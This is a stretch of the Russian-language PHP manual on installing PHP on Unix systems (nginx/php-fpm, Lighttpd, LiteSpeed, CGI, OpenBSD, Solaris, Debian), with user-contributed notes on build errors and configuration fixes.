1. Before step (3) - Configure and build PHP - to ensure that no errors occurs, you can refer to my prerequisites library.

sudo dnf install \
gcc gcc-c++ make cmake autoconfig \
zlib zlib-devel pcre pcre-devel \
libxml2-devel libxslt-devel \
bzip2-devel curl-devel libzip-devel\
sqlite-devel \
systemd-devel \
openssl-devel \
libffi-devel \
libpng libpng-devel libwebp libwebp-devel libjpeg libjpeg-devel libXpm libXpm-devel \
freetype-devel \
gmp-devel \
libldb-devel \
libc-client libc-client-devel \
openldap openldap-devel \
oniguruma oniguruma-devel \
net-snmp-devel readline-devel unixODBC-devel \
uw-imap uw-imap-devel uw-imap-static uw-imap-utils \
libicu-devel \
enchant2 enchant2-devel \
gd gd-devel \
libsodium libsodium-devel \
libtidy libtidy-devel

You may not receive error when issuing ./configure, make && make install. Even when you manually build your PHP extension package later.

2. At step 5 - before modifying php.ini - you may double-check whether the current PHP is reading which php.ini file by this command

php -ini | grep php.ini
# My result. It is different from tutorial.
Configuration File (php.ini) Path => /usr/local/lib
Loaded Configuration File => /usr/local/lib/php.ini
610010559 at qq dot com 21-Nov-2019 12:44
in linux system, if you want to add php-fpm service to system service;  it is easy to do that, because php offer the relate shell script:

after make and make install;enter the source code package sapi/fpm/init.d.php-fpm ; type the code in the linux system.
cp sapi/fpm/init.d.php-fpm  /etc/init.d/php-fpm

then you can use "php-fpm {start|stop|force-quit|restart|reload|status|configtest} "  command  to control your php-fpm program more convenient .
uanaoeng at outlook dot com 01-Feb-2019 08:56
When I run the following command to start the php-fpm:
/usr/local/bin/php-fpm

I got the following error information:
Unable to globalize '/usr/local/NONE/etc/php-fpm.d/*.conf' (ret=2) from /usr/local/etc/php-fpm.conf at line 143.

To fix this error, do:
change the string "include=NONE/etc/php-fpm.d/*.conf" to "include=etc/php-fpm.d/*.conf" in the file "/usr/local/etc/php-fpm.conf" with text editor.

After that, I try to start the php-fpm again and got error information again:
Nothing matches the include pattern '/usr/local/etc/php-fpm.d/*.conf' from /usr/local/etc/php-fpm.conf at line 143.

To fix this error, do:
cp /usr/local/etc/php-fpm.d/www.conf.default /usr/local/etc/php-fpm.d/www.conf
1097625354 at qq dot com 03-Dec-2018 08:31
cp php/php.ini-development        php/lib/php.ini
cp php/etc/php-fpm.conf.default       php/etc/php-fpm.conf
cp php/etc/php-fpm.d/www.conf.default     php/etc/php-fpm.d/www.conf
sp at rysmax dot com 06-Mar-2018 09:10
Translate errors:

Теперь перейдите в http://localhsot
Теперь перейдите в http://localhost

В этом разделе описивыется
В этом разделе описывается

запрещаем Nginx от отправлять
запрещаем Nginx отправлять
Lenny 21-Feb-2016 02:40
Building from source is not easy if something is a bit different, and I had a hard time with some directory and configuration options. I was floundering around the web until I found this site that translated from Chinese. No one else had the solution.  I couldn't get php fpm to start until I changed the directory (Item 2.ERROR: Unable to globalize). I had other issues listed but I was able to solve them. Please don't delete this, it is very useful info.

The original site  (it is in Chinese, not my site, but I want to give credit):

(there is some more there, you can goto the site)

blog.dream1987.top/?paged=2

Installation problems:

1. configure: error:. Xml2-config not found Please check your libxml2 installation.

solution:

apt-get install libxml2-dev

2.Warning: Declaration of PEAR_Installer :: download () should be compatible with & PEAR_Downloader :: download ($ params) in phar: ///root/php-7.0.0alpha1/pear/install-pear-nozlib.phar/PEAR /Installer.php on line 43

Warning: Declaration of PEAR_PackageFile_Parser_v2 :: parse () should be compatible with PEAR_XMLParser :: parse ($ data) in phar: ///root/php-7.0.0alpha1/pear/install-pear-nozlib.phar/PEAR/PackageFile/ Parser / v2.php on line 113
[PEAR] Archive_Tar - already installed: 1.3.13
[PEAR] Console_Getopt - already installed: 1.3.1
[PEAR] Structures_Graph- already installed: 1.0.4

Warning: Declaration of PEAR_Task_Replace :: init () should be compatible with PEAR_Task_Common :: init ($ xml, $ fileAttributes, $ lastVersion) in phar: ///root/php-7.0.0alpha1/pear/install-pear-nozlib. phar / PEAR / Task / Replace.php on line 31
[PEAR] XML_Util - already installed: 1.2.3

Warning: Declaration of PEAR_Task_Windowseol :: init () should be compatible with PEAR_Task_Common :: init ($ xml, $ fileAttributes, $ lastVersion) in phar: ///root/php-7.0.0alpha1/pear/install-pear-nozlib. phar / PEAR / Task / Windowseol.php on line 76

Warning: Declaration of PEAR_Task_Unixeol :: init () should be compatible with PEAR_Task_Common :: init ($ xml, $ fileAttributes, $ lastVersion) in phar: ///root/php-7.0.0alpha1/pear/install-pear-nozlib. phar / PEAR / Task / Unixeol.php on line 76
[PEAR] PEAR - already installed: 1.9.5

solution:

Workaround not found (http://pear.php.net/bugs/bug.php?id=20554)

3. Start php-fpm

1.ERROR: failed to open configuration file '/usr/local/etc/php-fpm.conf': No such file or directory (2)
ERROR: failed to load configuration file '/usr/local/etc/php-fpm.conf'
ERROR: FPM initialization failed

solution:

Php-fpm.conf copy files from the source file to that location.

cp /root/php-7.0.0alpha1/sapi/fpm/php-fpm.conf /usr/local/etc/php-fpm.conf

2.ERROR: Unable to globalize '/usr/local/NONE/etc/php-fpm.d/*.conf' (ret = 2) from /usr/local/etc/php-fpm.conf at line 125.
ERROR: failed to load configuration file '/usr/local/etc/php-fpm.conf'
ERROR: FPM initialization failed

solution:

Edit /usr/local/etc/php-fpm.conf document introduced * .conf part, change to the correct path include = / usr / local / etc / php-fpm.d / *. Conf

If there is no /usr/local/etc/php-fpm.d directory, create the directory.

3.WARNING: Nothing matches the include pattern '/usr/local/etc/php-fpm.d/*.conf' from /usr/local/etc/php-fpm.conf at line 125.
ERROR:. No pool defined at least one pool section must be specified in config file
ERROR: failed to post process the configuration
ERROR: FPM initialization failed

solution:

cp www.conf.default www.conf

4.ERROR: [pool www] can not get gid for group 'nobody'
ERROR: FPM initialization failed

solution:

Www.conf open files, user and group users into nginx default settings, usually the default is www-data.
Akash Kumar Sharma 20-Dec-2015 08:48
If you get "File not found" error then add "root ROOT_DIR_LOCATION" directive to PHP location block i.e. "location ~* \.php$ { }" , where ROOT_DIR_LOCATION is root directory like "/usr/share/nginx/html" .
nguyentienlong88 at gmail dot com 03-Dec-2015 03:22
at step 3, after command "sudo make install"
if there is problem with pear.php.net (https). Need to change this line (from https to http) in Makefile
PEAR_INSTALLER_URL = http://pear.php.net/install-pear-nozlib.phar
nguyentienlong88 at gmail dot com 02-Dec-2015 07:38
at step 3, if there is no configure script yet, you need to rebuiding configure script using this command:

./buildconf --force


Установка PHP на Lighttpd 1.4 на Unix-системах

Этот раздел содержит информацию по установке PHP на Unix-системы с сервером Lighttpd 1.4.

Прочитайте, пожалуйста, инструкции по установке Lighttpd в » документации по Lighttpd перед установкой PHP.

FastCGI - предпочитаемый интерфейс для связи PHP и Lighttpd. FastCGI доступен по умолчанию в php-cgi.

Управление процессами php через Lighttpd

Для настройки Lighttpd на соединение с PHP и порождения процессов FastCGI необходимо отредактировать конфигурационный файл lighttpd.conf. Предпочтительнее подключаться к процессам FastCGI используя Unix-сокеты.

Пример #1 Пример части файла lighttpd.conf

server.modules += ( "mod_fastcgi" )

fastcgi.server = ( ".php" =>
  ((
    "socket" => "/tmp/php.socket",
    "bin-path" => "/usr/local/bin/php-cgi",
    "bin-environment" => (
      "PHP_FCGI_CHILDREN" => "16",
      "PHP_FCGI_MAX_REQUESTS" => "10000"
    ),
    "min-procs" => 1,
    "max-procs" => 1,
    "idle-timeout" => 20
  ))
)

Директива bin-path позволяет lighttpd динамически запускать процессы FastCGI. Lighttpd будет динамически создавать дочерние процессы php, согласно переменной окружения PHP_FCGI_CHILDREN. Директива bin-environment задаёт настройки для дочерних процессов. PHP_FCGI_MAX_REQUESTS определяет порог, при достижении которого PHP завершит дочерний процесс. Директив min-procs и max-procs обычно стоит избегать. PHP управляет только своими дочерними процессами, и инструменты кеширования в байт-код (например, APC) будут использоваться только в этих дочерних процессах. Если значение min-procs установлено больше 1, общее количество процессов, обрабатывающих запросы, будет равно PHP_FCGI_CHILDREN * min-procs.

Управление процессами с помощью spawn-fcgi

Lighttpd предоставляет программу spawn-fcgi для облегчения управления дочерними процессами FastCGI.

Управление процессами с помощью php-cgi

Управлять процессами можно и без spawn-fcgi, но это потребует некоторых доработок. Переменная окружения PHP_FCGI_CHILDREN указывает количество дочерних процессов, запускаемых PHP для обработки входящих запросов. Переменная PHP_FCGI_MAX_REQUESTS отвечает за количество запросов, которые обработает один процесс. Ниже приведён простой bash-скрипт, облегчающий создание дочерних процессов.

Пример #2 Создание FastCGI-обработчиков

#!/bin/sh

# Местоположение бинарного файла php-cgi
PHP=/usr/local/bin/php-cgi

# Местоположение PID-файла
PHP_PID=/tmp/php.pid

# Привязка к адресу
#FCGI_BIND_ADDRESS=10.0.1.1:10000
# Привязка к сокету
FCGI_BIND_ADDRESS=/tmp/php.sock

PHP_FCGI_CHILDREN=16
PHP_FCGI_MAX_REQUESTS=10000

env -i PHP_FCGI_CHILDREN=$PHP_FCGI_CHILDREN \
       PHP_FCGI_MAX_REQUESTS=$PHP_FCGI_MAX_REQUESTS \
       $PHP -b $FCGI_BIND_ADDRESS &

echo $! > "$PHP_PID"

Подключение к удалённым процессам FCGI

Обработчики FastCGI могут находиться на нескольких отдельных машинах для масштабирования нагрузки.

Пример #3 Подключение к удалённым процессам fastcgi

fastcgi.server = ( ".php" =>
   (( "host" => "10.0.0.2", "port" => 1030 ),
    ( "host" => "10.0.0.3", "port" => 1030 ))
)

User Contributed Notes

There are no user contributed notes for this page.


Веб-сервер LiteSpeed/OpenLiteSpeed на системах Unix

LiteSpeed PHP - это оптимизированная сборка PHP для работы с продуктами LiteSpeed через LiteSpeed SAPI. LSPHP запускается как самостоятельный процесс и имеет отдельный исполняемый файл, который используется как обычный исполняемый файл командной строки для запуска скриптов PHP.

LSAPI - это очень оптимизированный API, позволяющий LiteSpeed взаимодействовать с веб-движками других производителей. Он имеет тот же протокол, что и FCGI, но гораздо более эффективный.

Эта документация содержит инструкции по установке и конфигурированию PHP с LSAPI для веб-серверов LiteSpeed (LSWS) )и OpenLiteSpeed (OLS).

Это руководство предполагает, что LSWS или OLS установлены по стандартным путям и со стандартными флагами. Директория установки по умолчанию для обоих веб-серверов - /usr/local/lsws, и оба они запускаются из её подкаталога bin.

Обратите внимание, что во всей документации номера версий заменены на x, что говорит о том, что эта документация останется актуальной и в будущем. Так что смело можете заменить эти символы на номер вашей версии.

  1. Для получения и установки LSWS и OLS посетите сайт с документацией по LiteSpeed Web Server - » инструкции по установке или сайт с документацией по OpenLiteSpeed - » инструкции по установке.

  2. Загрузите и распакуйте исходные коды PHP:

    mkdir /home/php
cd /home/php
wget http://us1.php.net/get/php-x.x.x.tar.gz/from/this/mirror
tar -zxvf php-x.x.x.tar.gz
cd php-x.x.x

  3. Сконфигурируйте и соберите PHP. На этом этапе можно воспользоваться дополнительными опциями для более тонкой настройки PHP и добавления необходимых модулей. Запустите ./configure --help для получения списка возможных опций. В нижеследующем примере используются стандартные рекомендованные настройки для LSWS:

    ./configure ... '--with-litespeed'
make
sudo make install

  4. Проверьте установку LSPHP

    Один из самых простых путей для проверки корректности установки PHP - это запустить следующие команды:

    cd /usr/local/lsws/fcgi-bin/
./lsphp5 -v

    Должна появиться информация о сборке PHP:

    PHP 5.6.17 (litespeed) (built: Mar 22 2016 11:34:19)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.6.0, Copyright (c) 1998-2015 Zend Technologies

    Обратите внимание на слово litespeed. Это означает, что PHP собран с поддержкой LSAPI.

После выполнения описанных выше шагов, LSWS/OLS должны запускаться с поддержкой PHP как модуля SAPI. Существует достаточно много дополнительных опций конфигурации для настройки работы LSWS / OLS c PHP. Более подробно почитать о них можно на сайте с документацией по LiteSpeed в разделе » PHP.

Использование LSPHP из командной строки:

Режим командной строки LSPHP(LSAPI + PHP) используется для обработки скриптов PHP запущенных на удалённом сервере без необходимости держать на нем веб-сервер. Это используется для обработки скриптов PHP на локальном веб-сервере (раздельно). Такая установка удобна для удобства масштабирования, так как нагрузка по обработке скриптов ложится на удалённый сервер.

Запустите lsphp из командной строки на удалённом сервере: LSPHP - является исполняемым файлом, может быть запущен вручную и привязан к IPv4, IPv6 или сокету Unix с помощью опции -b socket_address.

Пример:

Привязка LSPHP к порту 3000 на всех интерфейсах IPv4 и IPv6:

/path/to/lsphp -b [::]:3000

Привязка LSPHP к 3000 всех интерфейсов IPv4:

/path/to/lsphp -b *:3000

Привязка LSPHP к 192.168.0.2:3000:

/path/to/lsphp -b 192.168.0.2:3000

Привязка LSPHP к сокету Unix /tmp/lsphp_manual.sock с возможностью получать из него запросы:

/path/to/lsphp -b /tmp/lsphp_manual.sock

Перед запуском LSPHP можно выставить переменные окружения:

PHP_LSAPI_MAX_REQUESTS=500 PHP_LSAPI_CHILDREN=35 /path/to/lsphp -b IP_address:port

На данный момент LiteSpeed PHP можно использовать с веб-серверами LiteSpeed, OpenLiteSpeed и Apache mod_lsapi. Подробности о конфигурации сервера читайте на страницах » LiteSpeed Web Server и » OpenLiteSpeed.

LSPHP можно установить различными способами.

CentOS: На CentOS, LSPHP может быть установлен из репозиториев LiteSpeed или Remi, используя » RPM.

Debian: На Debian, LSPHP можно поставить из репозитория LiteSpeed, используя » apt.

cPanel: Для установки с cPanel и LSWS/OLS используя EasyApache 4, читайте соответствующую » документацию.

Plesk: Plesk можно использовать с LSPHP на CentOS, CloudLinux, Debian и Ubuntu. Более подробно описано в » документации

User Contributed Notes

There are no user contributed notes for this page.


Установка с интерфейсами CGI и командной строки

По умолчанию, PHP собирается одновременно как CLI и CGI программа, которая может быть использована для обработки CGI-запросов. PHP как модуль сервера выигрывает в производительности, однако PHP CGI позволяет запускать PHP от пользователя, отличного от того, под которым исполняется сервер.

Внимание

Используя установку CGI, ваш сервер открыт перед несколькими возможными уязвимостями. Пожалуйста, ознакомьтесь с разделом "Безопасность CGI" чтобы узнать, как можно защитить себя от таких атак.

Тестирование

Если вы собрали PHP как CGI, вы можете протестировать вашу сборку командой make test. Тестирование вашей сборки - всегда хорошая идея. Таким образом вы сможете раньше обнаружить проблемы PHP на вашей платформе, вместо того, чтобы бороться с ними позже.

Использование переменных

Некоторые переменные окружения сервера не определены в текущей » спецификации CGI/1.1. Определены только следующие переменные: AUTH_TYPE, CONTENT_LENGTH, CONTENT_TYPE, GATEWAY_INTERFACE, PATH_INFO, PATH_TRANSLATED, QUERY_STRING, REMOTE_ADDR, REMOTE_HOST, REMOTE_IDENT, REMOTE_USER, REQUEST_METHOD, SCRIPT_NAME, SERVER_NAME, SERVER_PORT, SERVER_PROTOCOL и SERVER_SOFTWARE. Все остальное должно обрабатываться как дополнительные модули (vendor extensions).

User Contributed Notes

vinay_sajip at yahoo dot co dot uk 16-Apr-2020 10:33
If building from source on Ubuntu, you may need to "apt install libonig-dev" for the Oniguruma regular expression library. Otherwise, the "configure" script doesn't complete.


OpenBSD, замечания по установке

Эта секция содержит замечания и советы, касающиеся установки PHP на » OpenBSD.

Использование бинарных пакетов

Использование бинарных пакетов для установки PHP на OpenBSD - это простейший и рекомендованный способ. Ядро (основной пакет) отделено от различных модулей, но каждый из них может быть установлен или удалён независимо от другого. Файлы, которые вам понадобятся, вы можете найти на вашем OpenBSD CD или на FTP.

Основной пакет, который необходимо установить - это php, он содержит базовый движок (плюс fpm, gettext и iconv) и может быть доступен в нескольких версиях на выбор. Далее, обратите внимание на пакеты модулей, такие как php-mysqli или php-imap. Вам следует использовать команду phpxs для активации или деактивации этих модулей в вашем php.ini.

Пример #1 Пример установки пакетов в OpenBSD

# pkg_add php
# pkg_add php-apache
# pkg_add php-mysqli
  (install the PEAR libraries)
# pkg_add pear

Следуйте инструкциям, выводимым пакетами во время установки!

  (to remove packages)
# pkg_delete php
# pkg_delete php-apache
# pkg_delete php-mysqli
# pkg_delete pear

Читайте страницу руководства » packages(7) для большей информации о бинарных пакетах в OpenBSD.

Использование портов

Вы можете также скомпилировать PHP из исходников, используя » дерево портов. Тем не менее, этот способ рекомендован только для тех, кто хорошо знакомых с OpenBSD. Порт PHP разбит на ядро и модули. Модули генерируют подпакеты для всех поддерживаемых модулей PHP. Если какие-либо из них вам не нужны, используйте FLAVOR no_*. Например, для пропуска модуля imap, установите FLAVOR в no_imap.

Стандартные проблемы

  • Apache и Nginx более не являются веб-серверами по умолчанию для OpenBSD, но их очень легко найти и поставить из портов и пакетов. Новый сервер по умолчанию называется 'httpd'.
  • Стандартная установка httpd работает в » chroot(2) окружении, что запрещает PHP доступ к файлам вне /var/www. Так что вам понадобится создать директорию /var/www/tmp для сохранения сессионных файлов PHP, или использовать альтернативный бэкенд для управления сессиями. К тому же, сокеты баз данных будет необходимо размещать в chroot, либо слушать на интерфейсе localhost. Если вы используете функции работы с сетью, некоторые файлы из /etc, такие как /etc/resolv.conf и /etc/services необходимо будет поместить в /var/www/etc. В OpenBSD, пакет PEAR автоматически устанавливается в правильные директории chroot.
  • Пакет модуля » gd для OpenBSD требует установки Xorg. Если он ещё не установлен при базовой установке путём добавления набора файлов xbase.tgz, его можно добавить после установки (смотрите » OpenBSD FAQ#4).

User Contributed Notes

Anonymous 01-Aug-2021 04:20
UPDATE: OpenBSD 6.9:

- The package "php-fpm" no longer exists. It's the default, so you can just install "php".
- The /var/www/tmp directory will be created automatically when you install PHP.
- PHP 8 is available :D as well as older versions. pkg_add will ask you which version to install.
pete att shitnami.net 02-Jun-2015 05:27
A brief update: As of OpenBSD 5.7 (2015) the installation process is extremely easy. Apache httpd was replaced by Nginx, which has since been further replaced by OpenBSD's own server, aptly named 'httpd'.

'httpd' is installed by default, everything else you can still get from packages, with a couple name changes (including Apache and Nginx.) You will be asked which version to install - at the time of writing, versions 5.3.29p1 thru 5.6.5 are available.

#pkg_add php
#pkg_add php-fpm
#pkg_add pear

----
OpenBSD disables most services by default; a blank '_flags' line overrides default 'NO' value. pkg_scripts are located in /etc/rc.d/
To start at boot, edit "/etc/rc.conf.local":

  httpd_flags=
  pkg_scripts=php_fpm

----
Example /etc/httpd.conf
#
# paths are relative to chroot - e.g, '/var/www/run/php-fpm.sock'
server "default" {
      listen on * port 80
      location "*.php" {
            fastcgi socket "/run/php-fpm.sock"
      }
      directory index index.php
      root "/htdocs"
}

----
For date, timezone issues, copy /etc/localtime:
    $cp /etc/localtime /var/www/etc/localtime

If 'localhost' DNS name fails to resolve, copy /etc/hosts
    $cp /etc/hosts /var/www/etc/hosts
hg at ostc dot de 15-May-2005 10:45
Also you should add "-a /var/www/dev/log" to the syslogd_flags
for propper logging of php-extensions like imap.so and create
a /var/www/etc/master.passwd with an www-user-entry and run
pwd_mkdb -d /var/www/etc /var/www/etc/master.passwd for propper
use of libc-client.a functions in imap.so.
openbsd-fanatic 10-May-2005 01:51
I am user that is just migrating to open source and thought I would take openbsd for a spin. This article, by Gregory L. Magnusson, really helped me to get a working apache-php-mysql server going on openbsd.
http://www.devx.com/security/Article/28059/0/page/1
ameen(at)dausha(dot)net 02-Nov-2003 07:47
I just finished spinning my wheels with PHP/Apache on OpenBSD 3.3, and it took a Google to fix my problem. I followed the instructions by (0429196301 at netcabo dot pt) written on Sep 19, 2003 and kept being fed a segmentation fault when I tried to start httpd.

Then I read the page cited below that suggested playing with the order of the LoadModules, and put the PHP first. I followed that recommendation and httpd started without problems!

Page that saved me:
http://archives.neohapsis.com/archives/openbsd/2002-04/3074.html

"Change around the order of the Apache modules, this is one of the
drawbacks to the module API for Apache 1.3 is that the order is very
important. I would try making the PHP 4 module first, Perl module second
and FP module last. "
sanchero [at] gvsu [dot] edu 09-May-2003 11:59
On OpenBSD 3.2, given the steps outlined above using pre-built packages you will get a new "/var/www/conf/httpd.conf" that contains a section like this:

<IfDefine SSL>
AddModule mod_ssl.c
AddModule mod_php4.c
</IfDefine>

This causes mod_php4 to load only when starting Apache w/SSL, so if this isn't what you want add the mod_php4 line again above (or below) this section, like so:

AddModule mod_php4.c   <<------ SEE? - now should load normally.
<IfDefine SSL>
AddModule mod_ssl.c
AddModule mod_php4.c
</IfDefine>

I also added this for good measure:

<IfModule mod_php4.c>
         AddType application/x-httpd-php .php [blah blah]
</IfModule>

Seems to work.


Инструкции по инсталляции для ОС Solaris

Данный раздел содержит инструкции и советы для установки PHP на ОС Solaris.

Требования к программному обеспечению

Зачастую в составе операционной системы Solaris отсутствует компиляторы языка C и сопутствующие им утилиты. Ознакомьтесь с этим FAQ, чтобы узнать, почему необходимо использовать GNU-версии этих утилит.

Для распаковки дистрибутива PHP вам понадобится

  • tar
  • gzip или
  • bzip2

Для компиляции PHP вам понадобится

  • gcc (рекомендован, но другие компиляторы C также могут подойти)
  • make
  • GNU sed

Для сборки некоторых модулей или редактирования исходников PHP также могут понадобиться

  • re2c
  • bison
  • m4
  • autoconf
  • automake
Дополнительно, вам нужно будет установить (и, возможно, скомпилировать) дополнительное ПО, необходимое в вашей конфигурации, например Oracle или MySQL.

Использование установочных пакетов

Вы можете упростить процесс установки в Solaris, используя утилиту pkgadd для установки нужных вам компонент. Система управления пакетами (IPS) операционной системы Solaris 11 Express также позволяет установить большинство требуемых компонент с помощью команды pkg.

User Contributed Notes

Senny 19-Apr-2016 01:44
Here is my successful installation of PHP 5.5.30 on Solaris 10 6/06 u2 SPARC:

set LD_LIBRARY_PATH, LD, CC and PATH variables

root# LD_LIBRARY_PATH=/usr/local/lib:/usr/lib:/usr/openwin/lib:/export/home/db/oracle/lib:/export/home/db/oracle/lib32
root# CC=gcc
root# LD=/usr/ccs/bin/ld
root# PATH=$PATH:/usr/ucb:/usr/local/bin/:/usr/sfw/bin/:/opt/csw/bin/:/usr/ccs/bin/
root# export LD_LIBRARY_PATH CC PATH LD

./configure  --with-oci8=/export/home/db/oracle --with-apxs2=/usr/apache2/bin/apxs --with-config-file-path=/etc/apache2 --with-iodbc=/usr/local --enable-ftp --with-freetype-dir=/usr/local/freetype/ --with-sybase-ct=/usr/local/freetds/ --enable-opcache=no --without-pear

make
make test
make install
ariedederde 18-Jun-2011 12:58
Install php on solaris express:

pkg search php
part of output is e.g.

pkg:/web/php-52@5.2.12-0.151.0.1

pkg install php-52

php binary installs in /usr/php/5.2/bin/php
julie at baumler dot com 28-Dec-2006 09:22
There's a great how-to for Solaris 10 from Mel Lester Jr at http://meljr.com/~meljr/AMPSolaris10.html.

It even shows how to install php in a global zone and configure it in your other zones.
francois at tekwire dot net 06-Oct-2006 01:11
A detailed HOWTO document describing how to build Apache & PHP on Solaris is available at http://www.tekwire.net/redir.php/build_apa_php

This document also explains how to build from scratch every piece of software they can depend on, including almost every Apache modules and PHP extensions : Apache 2.0, PHP V4 & V5, zlib, OpenSSL, OpenLDAP, expat, iconv, mod_jk, xml2, xslt, png, jpeg, freetype, bzip2, curl, imap, MySQL, PostgreSQL, mm.

Also includes a cute dependency diagram making clear the relationships between all these libraries.
ozone at cname dot com 15-Jan-2006 09:46
php >= 5.1.1 requires a fully GNU toolchain on solaris; /usr/ccs/bin/ld will fail to link. see bug 35496.
AxL 19-Dec-2005 10:48
If you have problems building php with sqlite on solaris, add "-lrt" library so you dont get the fdatasync undefined symbol error.
anacreo 17-Dec-2004 08:11
Below was copied from a Sun Forum -- if having problems compiling on Solaris 10 try this:

Re: where is ctid_t defined? (Solaris 10)
Author: Juergen.Keil         Nov 17, 2004 10:37 AM (reply 1 of 10)
ctid_t is defined in /usr/include/sys/types.h ("typedef id_t ctid_t;").

I guess what has happend is that you're using a gcc compiler that
was build on Solaris 9 (or some other Solaris release older than
Solaris 10 b69), and this gcc release has a set of "fixed" gcc specific
headers that don't match your s10b69 system headers any more.

The fix is to build a fresh set of gcc "fixed" headers:

# cd /opt/sfw/gcc-3/lib/gcc-lib/i386-pc-solaris2.9/3.3.2/install-tools/

# cat > mkheaders.conf
SHELL=/bin/sh
SYSTEM_HEADER_DIR="/usr/include"
OTHER_FIXINCLUDES_DIRS=""
FIXPROTO_DEFINES="-D_XOPEN_SOURCE"
STMP_FIXPROTO="stmp-fixproto"
STMP_FIXINC="stmp-fixinc"
^D

# ./mkheaders
xlark at sdf dot lonestar dot org 11-Jul-2003 07:48
If you do a "Core Install" of Solaris,  be sure you have installed the SUNWlibm and SUNWlibms packages.  PHP 4.2.3 fails to compile without them.

If you get errors with GCC about math.h, then you don't have them installed.
ejflores at alcatel dot es 03-Jul-2003 06:14
./configure not run fine with /usr/ucb/tr you need to install GNU textutils
ineves at iportalmais dot pt 07-Mar-2003 03:09
I have compiled php 4.2.3, on my solaris 9, sparc, it works, i have gcc 3.2.2, from sunfreeware.org, i have compiled with

./configure --prefix=/opt/php --with-apxs=/opt/apache/bin/apxs --with-pgsql=/opt/pgsql --with-imap=/usr/src/soft/imap-2002b --with-ldap --with-imap-ssl=/usr/local/ssl

It compiles, but when i try to run it says something like:

bash-2.05# /opt/apache/bin/apachectl start
Syntax error on line 205 of /opt/apache/conf/httpd.conf:
Cannot load /opt/apache/libexec/libphp4.so into server: ld.so.1: /opt/apache/bin/httpd: fatal: relocation error: file /opt/apache/libexec/libphp4.so: symbol ldap_start_tls_s: referenced symbol not found
/opt/apache/bin/apachectl start: httpd could not be started

This means that the ldap librarys that came with solaris, are not very fine, you should use from openldap.org packages...

it is using this library:

bash-2.05# ldd /opt/apache/libexec/libphp4.so
    ...
    libldap.so.5 =>  /usr/lib/libldap.so.5

his one is from solaris installation.

(sorry about my english)
nicos at php dot net 06-Jan-2003 07:49
Note that you also need GNU sed or you'll have some errors lile "Output line too long."
m at hackerz dot uk dot co 15-Oct-2002 09:49
Compiled Ok on Solaris 9 after the addition of Bison Flex automake and autoconf, adding /usr/local/bin to the path and linking /usr/ccs/bin/ar to /usr/local/bin/ar.
php at woodNO-SPAMstea dot com 26-Jun-2002 11:15
Howard Glynn's post from May 22 is right on - if you're running Solaris 8, make sure you get the latest Recommended patch cluster. I've been struggling with that library problem that happens when you start Apache for several weeks, tweaking the config, setting LD_LIBRARY_PATH, etc. I couldn't believe that the PHP developers wouldn't have the Solaris build right - seems like a fairly important OS. But the latest Solaris patch cluster fixed the problem, so I guess it was my fault for not being up to date. I'm running PHP 4.2.1 now with Apache 2.0.36, works great.
ltfrench at vt dot edu 09-Jun-2002 02:09
To get PHP 4.2.0 or better to make on Solaris 8 (using gcc and gnu autoconf) you need to:
ln -s /usr/local/bin/gcc /usr/local/bin/cc

See: http://bugs.php.net/bug.php?id=16833
howardglynn at hotmail dot com 22-May-2002 10:26
I've had a lot of problems with "dn_skipname" reference errors when trying to do a php / apache shared-library install on solaris 8. All compiling was clean, but could not restart apache with mod_php. After much trial and error, I found a solution by installing patch 109326-07 which has some fixes for resolver (I think). I had one web server without the patch, and one with it, and was able to show the same commands compiling, working and restarting on one, but not the other. Installed patch on machine, compiled clean and was up and running after doing this. Works great. Get the patch from sun.com
shane dot kinsch at netracorp dot comNOSPAM 17-Feb-2002 12:49
PHP 4.1.1 / Apache 1.32 Buile Issues (Solaris 2.8)

Apache build options:
./configure --prefix=/usr/local/etc/apache --enable-module=rewrite --enable-shared=rewrite

PHP build options:
./configure --with-mysql=/usr/local/etc/mysql --with-apxs=/usr/local/etc/apache/bin/apxs

Both Apache and PHP compiled without errors and installed cleanly.

The Error when starting Apache:
Syntax error on line 208 of /usr/local/etc/apache/conf/httpd.conf:
Cannot load /usr/local/etc/apache/libexec/libphp4.so into server:
ld.so.1: /usr/local/etc/apache/bin/httpd: fatal: relocation error: file /usr/local/etc/apache/libexec/libphp4.so: symbol dn_skipname: referenced symbol not found ./apachectl start: httpd could not be started

Line 208 in the httpd.conf file is:
LoadModule php4_module        libexec/libphp4.so

The solution:
For some reason, even though LD_LIBRARY_PATH was being set properly,
it wasn't being read fully.  You will need to create a runtime
linking environment by doing this:

#crle -c /var/ld/ld.config -l /usr/lib:/usr/local/lib:/usr/local/etc/mysql/lib

Shane Kinsch
NetraCorp LLC / SecurNET Consulting
Louis at ewens dot com 22-Jun-2001 07:39
On Solaris, if upon starting Apache you get an error like this:

Syntax error on line 33 of /usr/local/apache/conf/httpd.conf:
Cannot load /usr/local/apache/libexec/libphp4.so into server: ld.so.1: /usr/loca
l/apache/bin/httpd: fatal: libmysqlclient.so.10: open failed: No such file or directory
./apachectl start: httpd could not be started

..try inserting the following lines into the configuration section of your apachectl startup shell script:

LD_LIBRARY_PATH=${LD_LIBRARY_PATH}:/usr/local/mysql/lib/mysql
export LD_LIBRARY_PATH

Change the /usr/local/mysql/ prefix to where ever your MySQL installation is. Make sure to add on the /lib/mysql extension to your own path though.

Do your normal "apachectl start" command to start Apache and voila, no more error. Apachectl can be found in the bin directory of your Apache installation.


Инструкции по установке на Debian GNU/Linux

Раздел содержит информацию и подсказки, относящиеся к установке PHP на » Debian GNU/Linux.

Внимание

Неофициальные сборки от третьих лиц не поддерживаются. О любых ошибках следует сообщать разработчикам Debian, но перед этим стоит проверить, возможно они уже исправлены в новых релизах, которые можно скачать на » странице загрузки.

Хотя и существует универсальная инструкция по установке PHP на Unix/Linux, в этом разделе мы рассмотрим особенности специфичные для Debian, такие как использование команд apt или aptitude. В рамках этого руководства обе эти команды рассматриваются как взаимозаменяемые.

Использование APT

Во первых, обратите внимание на то, что некоторые пакеты связаны: libapache-mod-php нужен для интеграции с Apache 2, и php-pear с PEAR.

Во-вторых, перед установкой убедитесь, что список пакетов находится в актуальном состоянии. Как правило, это делается с помощью команды apt update.

Пример #1 Пример установки Apache 2 на Debian

# apt install php-common libapache2-mod-php php-cli

APT автоматически установит модуль PHP для Apache 2 и все их зависимости и, затем, активирует их. Apache должен быть перезапущен для того, чтобы изменения вступили в силу. Например:

Пример #2 Остановка и запуск Apache после установки PHP

# /etc/init.d/apache2 stop
# /etc/init.d/apache2 start

Контроль конфигурации

Изначально, PHP устанавливается только с основными модулями ядра. Если вы хотите установить дополнительные модули, такие как MySQL, cURL, GD и т.д., это также можно сделать с помощью команды apt.

